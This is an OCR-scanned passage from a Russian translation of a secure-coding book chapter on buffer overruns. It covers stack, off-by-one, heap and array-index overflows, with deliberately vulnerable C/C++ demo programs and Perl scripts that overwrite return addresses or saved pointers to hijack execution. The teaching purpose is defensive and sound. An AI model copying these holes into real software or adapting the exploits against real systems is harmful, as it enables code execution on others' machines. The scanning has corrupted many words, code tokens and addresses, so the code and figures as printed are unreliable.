переполнение буфера 11среполнение буфера и опасность этого известны давно. Проблемы с перепол нением буфера возникали еще в 60-х. Один из самых известных примеров — «червь», написанный Робертом Т. Моррисом (Robert T. Morris) в 1988г. На неко торое время он полностью парализовал работу Интернета, так как администра торы отключали свои сети, пытаясь локализовать разрушение. Весной 2001 г., ра ботая над первым изданием этой книги, я выполнил поиск по словам buffer, security и bulletin в базе знаний Microsoft Knowledge Base {http://searchsupport.microsoft.com/ kb) и получил 20 ссылок, в основном на бюллетени, рассказывающие о дырах, делающих возможным удаленно повышать привилегии. Каждый подписчик рас сылки BugTraq (hup:/'/wwwsecurityfocus.com) имеет сомнительное удовольствие практически каждый день читать новые отчеты о возможности переполнения буфера в массе приложений, работающих под управлением самых разных ОС.

Как бы высоко вы ни оценили серьезность ошибок переполнения буфера, все равно ошибетесь в меньшую сторону. В Центре безопасности Microsoft (Microsoft Security Response Center) подсчитали, что выпуск одного бюллетеня вкупе с паке том исправлений обходится в 100 000 долларов, и это только «цветочки». Тысячи системных администраторов тратят кучу времени на установку пакетов исправ лений. Администраторам по безопасности приходится выявлять еще не обновлен ные системы и оповещать об этом их владельцев. Хуже всего то, что системы не которых клиентов все-таки становятся жертвами хакеров. Стоимость ущерба при этом может оказаться астрономической, особенно если взломщику удается глу боко проникнуть в систему и получить доступ к ценной информации, например к базе данных кредитных карточек. Одна крохотная оплошность с вашей сторо ны может обернуться миллионами долларов убытков, не говоря уже о том, что вы ГЛАВА 5 Враг №1;

переполнение буфера потеряете имя. В общем, последствия ужасны. Естественно, каждый ошибается, но ошибки ошибкам рознь.

Основная причина переполнения буфера — плохой стиль кодирования (осо бенно это касается С и C++, которые предоставляют массу возможностей прогр ш мисту вырыть себе яму), отсутствие защищенных и простых в использовании стро ковых функций и непонимание последствий тех или иных ошибок. Во время кам пании по повышению безопасности Windows (Windows Security Push) в начлле 2002 г. в Microsoft разработали новый набор функций для работы со строками, Аналогичные функции были созданы и для других операционных систем. Я на деюсь, что они станут стандартом, и мы сможем наконец безопасно работать со строками независимо от целевой платформы. Подробнее о них рассказано в раз деле «Использование Strsafe.h».

Мне нравится то, что все разновидности языка BASIC (для некоторых из sac это Visual Basic, а я начал писать на BASIC, еще когда строки программы нумеро вались), а также Java, Perl С# и прочие языки высокого уровня во время испол: ie ния проверяют границы массива, а многие из них имеют вдобавок собственный удобный строковый тип данных. Но операционные системы до сих пор пишутся на С и изредка на C++. Поскольку собственные интерфейсы системных вызоиов написаны на С и C++, программисты вряд ли откажутся от гибкости, мощи и с ;

о рости, присущих С и C++. Неплохо переместиться назад во времени и снабдить язык С собственным безопасным строковым типом, а заодно и библиотекой : ia дежных строковых функций. Но, к великому сожалению, это невозможно. Все, что нам осталось — аккуратно работать с ним, чтобы его мощь не обернулась против F ас.

Когда я собирался писать эту главу, то выполнил поиск в Интернете по ело: \о сочетанию buffer overrun. Результат потряс! Я получил массу инструкций для ха керов, где подробно объяснялось, как задать жару клиентам. А для программис тов информации было очень мало, и практически не нашлось никаких сведений о фокусах, которые могут выкинуть хакеры. Я собираюсь заполнить пробел и опубликовать ссылки на широко известные материалы по этой теме. Я категори чески не одобряю создание инструментов, с помощью которых можно совершить преступления, но, как писал Сун Цзю в книге «Искусство войны»: «Знай врага, ж а к самого себя, и успех обеспечен*. В частности, я слышал от многих программис тов: «Это всего лишь переполнение кучи. Им нельзя воспользоваться». Ничего глупее не придумаешь. Я надеюсь, эта глава заставит вас по-новому относиться к пере полнениям буфера всех мастей.

Вы узнаете о разных типах переполнения буфера, ошибках индексации м ic сивов и формата строк, а также о несовпадении размеров буфера для символов ANSI и Unicode. Ошибки формата строк необязательно связаны с переполнением буфера, но с их помощью нападающий может проделывать такие же штуки. !!а тем речь пойдет о нескольких способах нанесения «тяжких увечий», а так же о методах самозащиты.

Переполнение стека Переполнение буфера в виде переполнения стека возникает, когда буфер, выде ленный в стеке, перезаписывается данными, объем которых превосходит его р is мер. Размещенные в стеке переменные физически располагаются рядом с ядре Методы безопасного кодирования 110 Часть II сом возврата для кода, вызвавшего функцию. Обычно «виновниками» ошибки бывают данные, введенные пользователем и переданные затем в функцию типа strcpy. В результате настоящий адрес возврата перезаписывается подставным ад ресом. Как правило, переполнение буфера хакер использует, чтобы заставить программу сделать что-то нужное ему, например создать привязку командной оболочки (command shell) к определенному порту. Иногда взломщику приходит ся преодолевать затруднения, например: вводимые пользователем данные все-таки проходят какую-то проверку, или в буфер помещается лишь ограниченное число символов. Если в системе применяются наборы двухбайтовых символов, хакеру придется чуть больше попотеть, но непреодолимой проблемой это не станет. Если вы любите головоломки, «эксплуатацию» переполнения буфера можете рассмат ривать как интересное и полезное упражнение. (Если вам удалось обнаружить брешь, пусть это останется между вами и производителем ПО до тех пор. пока не достаток не устранят.) Подобные усложнения оставим за рамками книги. А сей час я покажу программу на С, демонстрирующую самый простой метод эксплуа тации переполнения, Л StackOverrun.c Эта программа демонстрирует, как переполнение буфера в стеке можно использовать для выполнения произвольного кода.

Задача состоит в нахождении строки, которая запустит на исполнение функцию bar.

«include «include void foo(const char* input) I char buf[lO];

// Что? Нет дополнительных аргументов для функции printf?

// Этот дешевый трюк позволяет посмотреть стек 8-).

// Мы увидим его вновь, когда приступим к рассмотрению строк формата.

printf("Mofi сте< выглядит так: \nHp\nSp\nitp\nXp\nKp\nX р\п\п");

//Передаем вводимые "пользователем" данные прямо в руки "врага *1".

strcpy(buf, input);

printfC'JfsXn", buf);

printf("Tenepb стек выглядит TaK:\n!(p\nXp\nXp\nXp\n)!p\ni(p\n\n");

void bar(void) { printf("4epTl Меня взломали!\п");

int mainfint argc, char* argv[]) Враг №1: переполнение буфера ГЛАВА // Откровенное мошенничество, упрощающее мне жизнь.

printf("Aflpec foo = Xp\n", foo);

printf("Aflpec bar = Xp\n", bar);

if (argc != 2) • printf("Bbi должны передать строку в качестве аргументами");

return -1;

: foo(argv[1]};

return 0;

.

Это приложение по простоте сродни программе «Hello, World!». Оно начина ется с небольшого жульничества — я вывожу адреса двух моих функций — /ос и bar. Для этого я использую параметр %р функции print/. Если бы я «ломал» pea, \ъ ное приложение, то скорее всего попытался бы вернуться в статический буфер, объявленный в функции/оо, или найти подходящую функцию, импортированную из DLL-библиотеки. Цель всего этого — заставить программу выполнить функцию bar. Функция foo содержит пару вызовов print/, которые используют побочные свойства функции с переменным числом ар1ументов, чтобы напечатать содержиуое стека. Проблемы начинаются, когда функция/оо слепо принимает вводимые пользо вателем данные и копирует их в 10-байтовый буфер, Примечание Переполнение выделенного в стеке буфера часто называют пе реполнением статического буфера. Несмотря на то, что слово «стати ческий» часто подразумевает статическую переменную, размещенную в глобальной области памяти, здесь оно используется для противопостав ления динамически выделенному буферу, то есть выделенному в куче фун кцией malloc. Очень часто «переполнение статического буфера» и «пе реполнение буфера, выделенного в стеке» используют как синонимы.

Это приложение лучше всего скомпилировать из командной строки, чтобы получить конечную (Release) версию исполняемого файла. Не стоит загружать исходный код в среду Microsoft Visual C++ и запускать в режиме отладки — отла дочная версия содержит проверку проблем со стеком, и требуемого эффекта вы не добьетесь. Впрочем, вы можете загрузить проект Visual C++ и скомпилировать его в режиме Release. Вот что выведет программа, если передать ей строку в каче стве аргумента командной строки:

С:\Secureco2\Chapter05>StackOverrun.exe Hello Адрес foo = Адрес bar = Мой стек выглядит так:

7FFDFOOO 0012FF 0040108А <- Мы хотим переписать адрес возврата, подставив адрес функции foo.

Методы безопасного кодирования 112 Часть N 00410EDE Hello Теперь стек выглядит так:

6С6С6548 <- Видно, куда (^копировалась сорока "Hello", 0000006F 7FFDFOOO 0012FF 0040108А D0410EDE А теперь классический тест на переполнение буфера — введем длинную строку:

С:\Secureco2\Chapter05>StackOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAA Адрес fOO = Адрес bar = Мой стек выглядит так:

7FFDFOOO D012FF 0040108А 00410ЕСЕ AAAAAAAAAAAAAAAAAAAAAAAA Теперь стек выглядит так:

Мы получим сообщение об ошибке (рис. 5-1), информирующее, что команда, расположенная по адресу 0x41414141, попыталась обратиться к памяти по адре cv 0x41414141.

51Д Г ItOVERRUI-aXt - Application Error i,, !.,.:,...,,i 'и (14НГгеГе<епе«|йй - -• ••, ekk on сж'ио tetfniiMts the prog-ам Clirk on CANCEL to ctebug the a'ooram Рис. 5-1. Сообщение об ошибке, обусловленной переполнением буфера Заметьте: если на вашем.компьютере нет среды разработки, эта информация записывается в журналы программы Dr. Watson. По таблице ASCII-кодов легко за метить, что 0x41 — это код символа «А». Такой результат подтверждает, что наше приложение уязвимо для атак. Внимание! То, что вы не представляете себе, как получить подобный результат, никоим образом не означает, что переполнением буфера нельзя воспользоваться в дурных целях. Просто вы не знаете как.

ГЛАВА 5 Враг №1: переполнение буфера Как выяснить, поддается ли переполнение буфера «эксплуатации» Сейчас я продемонстрирую массу способов воспользоваться переполнением буфера. За исключением немногих простых случаев, «с лету* редко удается доказать, что конкретное переполнение буфера не поддается эксплуатации.

Одно известно наверняка: при определенных обстоятельствах эти ошибки можно эксплуатировать. Так что любая подобная ошибка либо открывает, либо может открыть «черный ход» для злоумышленника. Другими словами, в отсутствие явных доказательств того, что переполнение не поддается эк сплуатации, следует считать его подверженным подобным манипуляциям.

Если вы заявите, что переполнение буфера в вашей программе нельзя ис пользовать в дурных целях, кто-нибудь просто из вредности обязательно докажет обратное. Или, того хуже, найдет способ эксплуатации ошибки и передаст его злоумышленникам. А ведь вы уже раструбили, что можно не торопиться с установкой пакета исправлений, — теперь пользователям при дется несладко под градом атак новой exploit-утилиты.

Я нередко встречал разработчиков, которым не очень-то хотелось ис правлять ошибку, поэтому они требовали доказательств, что ее удастся за действовать для взлома. Это совершенно неверный подход! Просто ис правляйте ошибки, и точка! Подобное желание выяснить серьезность про блемы основано на годами проверенной программистской истине: каж дое исправление влечет за собой новые ошибки, количество которых за висит от сложности кода и опыта программиста. Отчасти это так, но да вайте сравним последствия эксплуатируемого переполнения буфера и ка кой-нибудь заурядной ошибки. Переполнение буфера чревато публичным позором, а если ваше ПО установлено на популярном сервере, то и масш табными нарушениями работы сетей из-за повсеместного распространения «червей». Кроме того, при переполнении буфера вам придется немедленно выпускать заплаты и бюллетени. А заурядную ошибку можно без проблем устранить в очередном пакете исправлений. Так что решайте сами. Лично я считаю, что эксплуатируемое переполнение буфера хуже, чем 100 обыч ных ошибок.

Разработчику иногда требуется несколько дней, чтобы оценить опасность переполнение буфера, а исправление и проверка занимает, как правило, не больше часа. При исправлении ошибки, чреватые переполнением буфера, обычно не становятся регрессивными, Даже если, вывернувшись наизнан ку, вы не видите способов * эксплуатации* ошибки, это отнюдь не значит, что их нет. Меня часто спрашивают, как выявить уязвимый код. Очень трудно определить в коде обходные способы, позволяющие добраться до какой-то функции. Это тема отдельного серьезного исследования. За исключением редких простых случаев, невозможно точно установить, все ли пути дости жения функции вы проверили, Внимание! Исправляйте не только заведомо эксплуатируемые ошибки. Устра няйте все недостатки!

Часть II Методы безопасного кодирования А сейчас посмотрим, как подобрать символы для «скармливания* приложению.

Попробуем так:

C:\Secureco2\Chapter05>StackOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ Адрес foo = Адрес bar = Иой стек выглядит так:

7FFDFOOO 0012FF 0040108А 00410ЕВЕ ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567B Теперь стек выглядит так:

4С4В4А 504F4E4D Теперь сообщение об ошибке гласит, что мы попытались выполнить команду по адресу 0x54535251. Согласно ASCII-таблице, 0x54 — это код символа <Т». А те перь сделаем так:

C:\Secureco2\Chapter05>StacOverrun,exe ABCDEFGHIJKLMNOPQRS Адрес foo = Адрес bar = Мой стек выглядит так:

7FFDFOOO 0012FF 0040108А 00410ЕСЕ ABCDEFGHIJKLMNOPQRS Теперь стек выглядит так:

4С4В4А 504F4E4D 00410ЕСЕ Так-так, уже лучше! Изменяя входные данные, мы получаем возможность кор ректировать адрес команды, которую программа будет исполнять следующей, Подумать только, мы контролируем работу программы при помощи вводимых Враг №1: переполнение буфера ГЛАВА 5 данных! Ясно, что, подсунув ей символы с кодами 0x45, 0x10, 0x40 вместо под строки «QRC», мы заставим ее выполнить функцию bar. Но как передать эти коды в качестве аргументов командной строки? (Коду 0x10 вообще соответствует не печатаемый символ.) Как любой нормальный хакер, я напишу сценарий Ha..:k Overrun.pi на Perl, который «накормит» приложение нужным «зельем» — передлст в командной строке необходимые аргументы:

Sarg = "ABCDEFGHIJKLMNOP"."\x45\x10\x40";

$cmd = "StackOverrun ".$arg;

system($cmd);

Запустив сценарий, получаем желаемый результат:

C:\Secureco2\Chapter05>perl HackOverrun. pi Адрес foo = Адрес bar = Мой стек выглядит так:

77FB80DB 77F94E6B 7FFDFOOO 0012FFBO 0040108А 00410EGA ABCDEFGHIJKLHNOPE?@ Теперь стек выглядит так:

4С4В4А 504F4E4D 00410ЕСА Черт! Меня взломали!

Просто, правда? Такое доступно даже начинающему программисту В реальной ат «се вместо первых 16 символов мы вставили бы вредоносный ассемблерный код и уста новили бы адрес возврата на начало буфера. В следующий раз, когда вы будете рапо тать с вводом данных пользователем, вспомните, как просто вас могут «сделать».

Имейте в виду: при использовании другого компилятора или в локализован ной (не U.S. — English) версии ОС смещения могут отличаться. Именно поэтому многие читатели первого издания этой книги жаловались, что примеры не все гда работали. Это одна из причин, по которой я жульничал и выводил на экран адреса двух моих функций. Чтобы заставить пример работать, надо повторить tee проделанное выше и подставить в Perl-сценарий свой адрес функции bar. Кроме того, если вы скомпилируете программу в Visual C++.NET с установленным по умол чанию параметром/GC, она вообще откажется работать. (В этом-то и идея фляга /GC — предотвратить переполнение буфера!) Отключите /GC в параметрах про екта или скомпилируйте программу из командной строки.

116 Часть II Методы безопасного кодирования А теперь посмотрим, как эксплуатируется ошибка занижения размера буфера на единицу (off-by-one error). Звучит непонятно, но при ближайшем рассмотре нии несложно.

Л OffByOne.c */ ((include (tinclude void foo(const char* in) { char buf[64];

strncpy(buf, in, sizeof(buf ));

buf[sizeof(buf )] = '\0';

//Оп-ля-ля! На один больше!

printf("X3\n". buf);

void bar(const char* in) { printf("4epT! Меня взломали!\п");

int main(int argc, char* argv[]) • if(argc != 2) ;

printf("Hcnoflb30B8HHe: Xs [string]\n", argv[0]);

return -1;

!

printf( "Адрес too Яр, Адрес bar JSp\n", foo, bar);

foo(argv[1]);

return 0;

Наш горе-программист попал пальцем в небо — использовал функцию strncpy для копирования буфера и s/zeo/для определения его размера. Ошибка в том, что в буфер записывается на один байт больше, чем требуется. Чтобы увидеть это, скомпилируйте программу в режиме Release с отладочной информацией. В пара метрах проекта в разделе C/C++ выберите значение параметра Debug Information Format такое же, как и для отладочной версии, и отключите оптимизацию, посколь ку она конфликтует с отладочной информацией. Если вы пользуетесь Visual Stu dio.NET, отключите параметры командной строки /GC и /RTC, иначе пример не будет работать. Затем перейдите в раздел Linker (компоновка) и там тоже вклю чите генерацию отладочной информации. Введем строку из большого числа сим волов «А» в качестве аргументов командной строки, установим точку останова на вызов функции foo и приступим к более детальному анализу кода.

Во-первых, откройте окно Registers и запомните значение регистра ЕВР — оно очень важно для нас. Продолжите поэтапное выполнение программы и войдите Враг №1: переполнение буфера ГЛАВА в функцию/оо. Откройте окно Memory и найдите там адрес переменной buf. Вы зов strncpy заполнит буфер символами «А», а значение, располагающееся сразу за переменной buf, — сохраненный указатель из регистра ЕВР. Выполните следую щую строку программы, где происходит запись завершающего символа null и обратите внимание, как сохраненный указатель ЕВР поменял свое значение с Ox0012FF80 па Ox0012FFOO (на моей машине установлена Visual C++6.0, а у вас значения могут отличаться). Теперь обратите внимание, что мы контролируем информацию, расположенную по адресу Ox0012FFOO, — это 0x41414141! Затем выполните функцию print/, не заходя в нее (step over), щелкните правой кнопкой мыши окно программы и перейдите в режим дизассемблирования. Откройте окно Registers и внимательно посмотрите, что произошло. Прямо перед командой ret располагается pop ebp. Заметьте, что регистр ЕВР содержит теперь наше искажен roe значение. Теперь мы возвращаемся в функцию main, оказавшись перед самым выходом из нее, и последняя команда, которую она выполнит, — mov esp,ebp, Эта команда просто записывает содержимое регистра ЕВР в ESP. а это не что иное, как указатель на стек! И теперь как только мы пройдем финальную команду ret, сразу окажемся по адресу 0x41414141. Мы получили контроль над потоком ис полнения программы при помощи всего одного байта!

Чтобы использовать эту ошибку, применим тот же прием, что и в случае пере полнения буфера в стеке. «Поиграем* с программой, пока не исчезнут ошипки выполнения. Как и ранее, проще всего заставить программу работать на себя, за действовав сценарий на Perl. Например, такой:

$агд = "АААААААААААААААААААААААААААА"."\x40\x10\x40";

$cmd = "off_by_one ". $ а г д ;

system($cmd);

А вот что получается в результате:

Адрес too 00401000, Адрес bar АААААААААААААААААААААААААААА@? в Черт! Меня взломали!

Есть ряд условий, которые должны выполняться, чтобы код стал «эксплуати руемым». Во-первых, число байт в буфере должно быть кратным четырем, ин;

1че однобайтовое переполнение не изменит сохраненное значение регистра ЕВР. Во вторых, следует контролировать область памяти, на которую укажет ЕВР, так что если значение последнего байта в ЕВР — OxFO и размер буфера меньше 240 б;

шт.

мы не сможем напрямую изменить значение, которое в конечном счете попадет н ESP. И тем не менее многие ошибки такого типа в реальных приложениях под вержены эксплуатации. Две наиболее известные: «Apache mod_ssl off-by-one» и «wuftpci 'glob». Можете почитать о них на страницах http://onlmesecurityfocus.com/ archive/1/279074 и соот ftp://ftpwu-ftpd.org/pub/wu-ftpd-attic/cert.org/CA-2001- ветственно.

Примечание 64-битный процессор Intel Itanium не помещает в стек адре>:

возврата, а сохраняет его в регистре. Это не значит, что этот процессор невосприимчив к переполнению буфера — просто придется чуть боль ше попотеть.

Методы безопасного кодирования 118 Часть II Переполнение кучи Переполнение кучи — это почти то же, что и переполнение буфера, но его экс плуатация требует больше операций. Как и в случае с переполнением буфера в стеке, хакер может записать практически любую информацию в места вашего при ложения, где ему по идее нечего делать. Одна из лучших из попадавшихся мне ста тей на эту тему — «wOOwOO cm Heap Overflows» (wOOwOO о переполнениях кучи).

Ее автор, Мэтт Коновер (Matt Conover), работает в wOOwOO Security Development (WSD), а текст статьи доступен по адресу http://www.wOOwOO.org/fues/anicles/beap tut.txt. WSD — это хакерская организация, члены которой сотрудничают с произ водителями над решением проблем с безопасностью, отыскивая недостатки в популярном ПО. В статье описано множество атак, но я лишь коротко резюми рую основные причины опасности переполнения кучи:

• многие программисты полагают, что переполнения кучи не поддаются экс плуатации, вследствие чего работают с буферами в куче менее аккуратно, чем со стековыми буферами:

• существуют специальные инструменты, позволяющие усложнить эксплуатацию стековых буферов. Например, продукт StackGuarcL разработанный Гриспином Кованом (Crispin Cowan) с коллегами, использует тестовое значение, его на зывают «канарейкой* (по аналогии с живыми канарейками, которых шахтеры использовали для обнаружения опасного гортгого газа в шахте), чтобы сделать эксплуатацию переполнения статического буфера куда менее тривиальной задачей. В Visual C++.NET также есть методы предотвращения переполнения стековых буферов. А вот подобных средств для предотвращения переполне ния кучи пока в природе не существует;

• некоторые операционные системы и архитектуры процессоров позволяют создавать стек без исполняемого кода. Но это опять-таки не защитит от пере полнения кучи, поскольку эта мера годится только для атак с использованием переполнения буфера в стеке.

Статья Мэтта содержит примеры атак на UNIX-системы, но не думайте, что в Windows уязвимых мест меньше. В Windows-приложениях известно множество ошибок переполнения кучи, пригодных для использования в неблаговидных це лях. Одну из возможных атак такого рода, не попавшую в статью группы wOOwOO, описал на сайте BugTraq (http://wwwsecurityfocus.eom/archive/l/71598} некто под псевдонимом Solar Designer:

Кому: BugTraq Тема: Брешь в браузере Netscape, связанная с обработкой марке ра JPEG СОМ Дата: 25 июля 2000 года, 04:56: Автор: Solar Designer Идентификатор сообщения: <200007242356-DAA01274@false.com> [не имеющий отношения к делу текст опущен/ ГЛАВА 5 Враг №1: переполнение буфера В приведенном ниже примере предполагается использование фун кции mattoc версии Дуга Ли (Doug Lea) (которая применяется в большинстве Linux-систем, как в библиотеке Ubc5, так и в glibc), и региональная конфигурация (locale) для 8-битных наборов сим волов (как и большинство региональных конфигураций, постав ляемых с glibc, таких как en_US и ru_RUJKOI8-R).

Каждому свободному блоку памяти в списке соответствуют сле дующие поля: размер предыдущего блока (если он свободен), раз мер самого блока и указатели на следующий и предыдущий бло ки, Бит 0 в поле «размер блока-> используется для индикации того.

занятли предыдущий блок (LSB действительного размера блока всегда содержит ноль из-за размеров структуры и выравнивания палгяти).

Манипулируя этими значениями, можно добиться, чтобы вызо вы функции free (3) перезаписывали произвольные области памя ти нашими данными, [не имеющий отношения к делу текст опущен] Имейте в виду, что это относится не только к платформе Linux/ х8б. Эта система выбрана лишь в качестве примера. Насколько я знаю, по крайней мере одна из версий Win32 подвержена экс плуатации точно таким же образом (через вызов ntdlURUFreeHeap), На странице http://www.blackhat.com/presentations/wm-usa-02/balvarflakf winsec02.ppt доступна более свежая презентация Алвара Флэйка (Halvar Flake) он рассказывает и о других типах обсуждаемых нами атак.

Следующая программа демонстрирует эксплуатацию переполнения кучи:

/* HeapOverrun.cpp «include ((include ((include /* Насквозь дырявый класс для демонстрации проблемы */ class BadStringBuf ;

public:

BadStringBuf(void) I m_buf = NULL;

Часть II Методы безопасного кодирования 'BadStringBuf(void) ;

if(m_buf != NULL) f ree(m_buf);

I void Initfchar* buf) !

// По-настоящему плохой код m_buf = buf;

void SetString{ const char* input) !

// Глупее быть не ножет.

strcpy(m_buf, input);

!

const char* GetString(void) ( return m_buf;

private:

char* m_buf;

\\ // Объявим указатель на класс BadStringBuf, // который будет принимать вводимые нами данные.

BadStringBuf* g^plnput = NULL;

void bar(void) printf("4epT! Меня вэлонали!\п"):

void BadFunc(const char* input 1, const char* input2) I // Я слышал, что переполнение кучи невозможно употребить во вред, // так что выделим буфер в куче.

char* buf = NULL;

char* buf2;

buf2 = {char*)malloc(16);

g_plnput = new BadStringBuf;

buf = (char*)malloc(16);

// Плохой программист - не проверяет ошибки после выделения памяти, g_plnput->lnit(buf2);

ГЛАВА 5 Враг №1: переполнение буфера // Самое плохое, что может случиться - аварийное завершение, не так ли???

strcpyfbuf, inputl);

g_p!nput->SetString(input2);

printfC'Beofl 1 = Хз\пВвод 2 = Ks\n", buf, g_plnput ->GetString());

if(buf != NULL) free(buf);

int main(int argc, char- argv[]) // Имитация строки аргументов в массиве argv char arg1[128];

// Адрес функции bar.

// Задом наперед, так как в процессорах Intel используется // прямой порядок байт (little endian).

char arg2[4] = {OxOf, 0x10, 0x40, 0};

int offset = 0x40;

// Использование Oxfd - уловка, // предотвращающая проверку кучи.

// Значение Oxfd в конце буфера подтверждает его целостность.

// Ошибки не проверяем - это только пример, // как сконструировать строку для инициирования переполнения, memset(arg1, Oxfd, offset);

arg1[offset] = (char)Qx94;

arg1[offset-H] = (char)Oxfe;

arg1[offset+2] = (char)0x12;

arg1[offset+3] = 0;

arg1[offset+4] = 0;

printf("Aflpec bar is Яр\п", bar);

BadFunc(arg1, arg2);

if(g_plnput l= NULL) delete g_plnput;

return 0;

I Эта программа есть в папке Secureco2\Chapter05. Давайте разберемся, что про исходит в функции main. Вначале я облегчил себе жизнь, объявив две строковые переменные, которые передаются в мою дырявую подопытную функцию. В реаль ной жизни строки вводит пользователь. Дальше я опять жульничаю, выводя на экр;

!н адрес, по которому хочу перейти, а затем передаю функции BadFunc заготовлен ные строки.

Методы безопасного кодирования 122 Часть II Представим себе, что BadFunc написана программистом, боявшимся допустить ошибку переполнения стекового буфера, но которого дезинформировал его друг, сказав, что переполнения кучи не опасны. Наш программист недавно освоил C++, поэтому написал класс BadStringBuf, хранящий указатель на буфер ввода. Главное достоинство последнего — предотвращение утечек памяти за счет корректного освобождения буфера в деструкторе. Понятно, что если буфер не был ранее вы делен функцией malloc, то при вызове функции free возникнут проблемы. Там есть и другие ошибки, но я оставляю их читателю в качестве упражнения.

А теперь попытаемся встать на позицию хакера. Мы заметили, что приложе ние «падает», если у одной из строк-аргументов слишком большая длина, но ад рес ошибки (который выводится в сообщении) свидетельствует, что нарушение произошло при доступе к памяти в куче. Затем мы запустили программу в отлад чике и увидели местоположение первой строки ввода. Какая важная область па мяти граничит с этим буфером? Небольшое исследование показало, что второй аргумент записывается в динамически выделенный буфер, но где расположен указатель на него? Порывшись в «навозной куче» памяти, вы наконец-то извлек ли из нее «жемчужину» — адрес второго буфера, который, как оказывается, всего на 0x40 байт отстоит от начала первого буфера. Теперь мы можем заменить адрес на что угодно, и таким образом любую переданную в качестве второго аргумента строку удастся записать в любое место адресного пространства приложения!

Как и раньше, нам надо заставить программу выполнить функцию bar, поэто му перепишем указатель так, чтобы он ссылался на адрес Ox0012fe94, который в нашем случае является адресом в стеке, по которому хранится адрес возврата из функции BadFunc. При желании можете «пройти» все шаги в отладчике, но учти те, что проект был создан в Visual C++ 6.0, оттого в другой версии среды разра ботки или в версии Release программы смещения и адреса ячеек памяти будут отличаться. Мы «подкрутим» вторую строку так, чтобы она записала в память по адресу 0x0012fe94 адрес функции bar. В таком подходе есть один интересный момент: мы не повредили стек, так что его механизмы защиты ничего не заметят.

Выполнив программу, вы получите следующий результат:

Адрес функции bar 0040100F ввод 1 = ????????????????????????????????????????????????????????о ввод 2 = 64@ 4ерт! Меня вэлонали!

Рекомендую запустить этот код в режиме отладки и пройти его по шагам, ведь проверка стека в отладочном режиме Visual C++ в куче не работает!

Если приведенный пример показался вам надуманным и вы считаете, что ни кому ничего подобного и в голову не придет или что проделать это в реальной жизни практически невозможно, не спешите с выводами. Как Solar Designer ука зал в своем письме, произвольный код удается запускать на исполнение, даже когда два буфера не «лежат» рядом, — есть еще возможность обмануть процедуры уп равления кучей.

Способов эксплуатации переполнения кучи в «живых*» системах становится все больше. В общем случае эксплуатировать переполнение кучи труднее, чем пере полнение стекового буфера, но для хакера (неважно, «плохого» или «хорошего») чем сложнее задача, тем интереснее решить ее. Вывод ясен: следует очень внима Враг №1: переполнение буфера ГЛАВА 5 тельно следить за тем, чтобы вводимые пользователем данные не попадали в «не правильные» места памяти.

Примечание Мне известно по крайней мере три способа заставить процеду ры управления кучей записать четыре байта «куда надо*, а затем исполь зовать их для перезаписи указателей, стека, ну, в общем, чего угодно.

Нередко нарушение безопасности можно инициировать, перезаписывая данные внутри приложения. Наглядный пример — проверка прав доступа.

Ошибки индексации массива Такие ошибки эксплуатируются гораздо реже, чем переполнение буфера, но чре ваты такими же неприятными последствиями. Строка — это массив символов, а что мешает использовать массивы других типов для записи в произвольные уча стки памяти? На первый взгляд может показаться, что ошибка индексации масси ва позволяет записывать данные только по адресам большим, чем базовый адрес массива, но это не так. Скоро вы узнаете почему.

Давайте посмотрим пример кода, демонстрирующего, как ошибку индексации массива можно применить для записи в произвольное место памяти:

/.

ArraylndexError.cpp */ ffinclude «Include irvt* IntVector;

void bar(void) :

printf("4epTl Меня взломали!\п");

i void Insertlnt(unsigned long index, unsigned long value ) I // Мы настолько уверены в том, что никто не передаст нам // значение больше 64 кб, что даже не пытаемся // объявлять параметры как unsigned short // или проверять выход индекса за границы.

printf("Запись в память по адресу Xp\n", i(IntVector[index])};

IntVector[index] = value;

:

bool InitVector(int size) I IntVector = (int*)malloc(sizeof(int)*size);

printf("Aflpec переменной IntVector: Xp\n", IntVector);

Часть II Методы безопасного кодирования if(IntVector == NULL) return false;

else return true;

int main(int argc, char* argv[]).

unsigned long index, value;

if(argc != 3) printf("Mcnonb30Bano: Xs [index] [value]\n">;

return -1;

I printf("Aflpec функции bar Kp\n", bar);

// Проинициализируем наш вектор - 64 кб должно хватить кому угодно <д>.

if(!InitVector(Oxffff)) printf("He могу инициализировать вектор!\п");

return -1;

index = atol(argv[1]);

value = atol(argv[2]);

Insertlnt(index, value);

return 0;

• ArraylndexError.cpp также содержится в папке Secureco2\Chapter05- Вы «подстав ляете» приложение, когда разрешаете пользователю сообщать, сколько элементов содержится в массиве, и предоставляете ему произвольный доступ к существую щему массиву, не контролируя выход за границы диапазона.

А теперь разберемся с математической стороной вопроса. Массив в нашем примере начинается по адресу 0x00510048, а значение, которое мы хотим запи сать (угадайте с одного раза), — адрес возврата в стеке, который расположен по адресу Ox0012FF84. Следующее уравнение описывает, как вычисляется адрес эле мента массива, исходя из базового адреса массива, номера элемента и размера элементов массива:

Адрес элемента массива = базовый адрес массива + номер элемента * sizeof( элемент] Подставляя значения из нашего примера, получим:

Ox10012FF84 = 0x00510048 + <номер элемента> * Обратите внимание, что вместо Ox0012FF84 мы использовали Oxl0012FFS4, Сейчас вы поймете, почему я отбросил старший разряд. Воспользовавшись Calc.exe.

видим, что номер элемента (индекс) равен Ox3FF07FCF, или 1072725967, и адрес ГЛАВА 5 Враг №1: переполнение буфера функции bar (0x00401000) равен 4198400 в десятичном представлении. Вот ре зультат работы программы;

C:\Secureco2\Chapter05MrrayIndexError.exe 1072725967 Адрес функции bar Адрес переменной IntVector Запись в память по адресу 0012FF Черт! Меня взломали!

Итак, ошибки подобного рода очень легко эксплуатировать, если хакеру уда ется запустить программу под отладчиком. Похожая проблема связана с ошибка ми отбрасывания старшего разряда (truncation error), или усечения. На самом деле в 32-битовых операционных системах число 0x100000000 равно ОхООООООСЭ.

Программисты с инженерным образованием знают подобные ошибки, поэтому они обычно пишут более грамотный код, чем те, кто изучал только компьютер ные науки (впрочем, как и при любом обобщении возможны исключения). Я объяс няю это тем, что многие инженеры разбираются в численном анализе — неустой чивость чисел, возникающая при работе с числами с плавающей точкой, зас тавляет быть более осмотрительным. Даже если вы уверены, что вам никогда не придется моделировать аэродинамическую поверхность крыла, курс числен ного анализа вам не повредит, поскольку позволит лучше разбираться в оши V ках усечения.

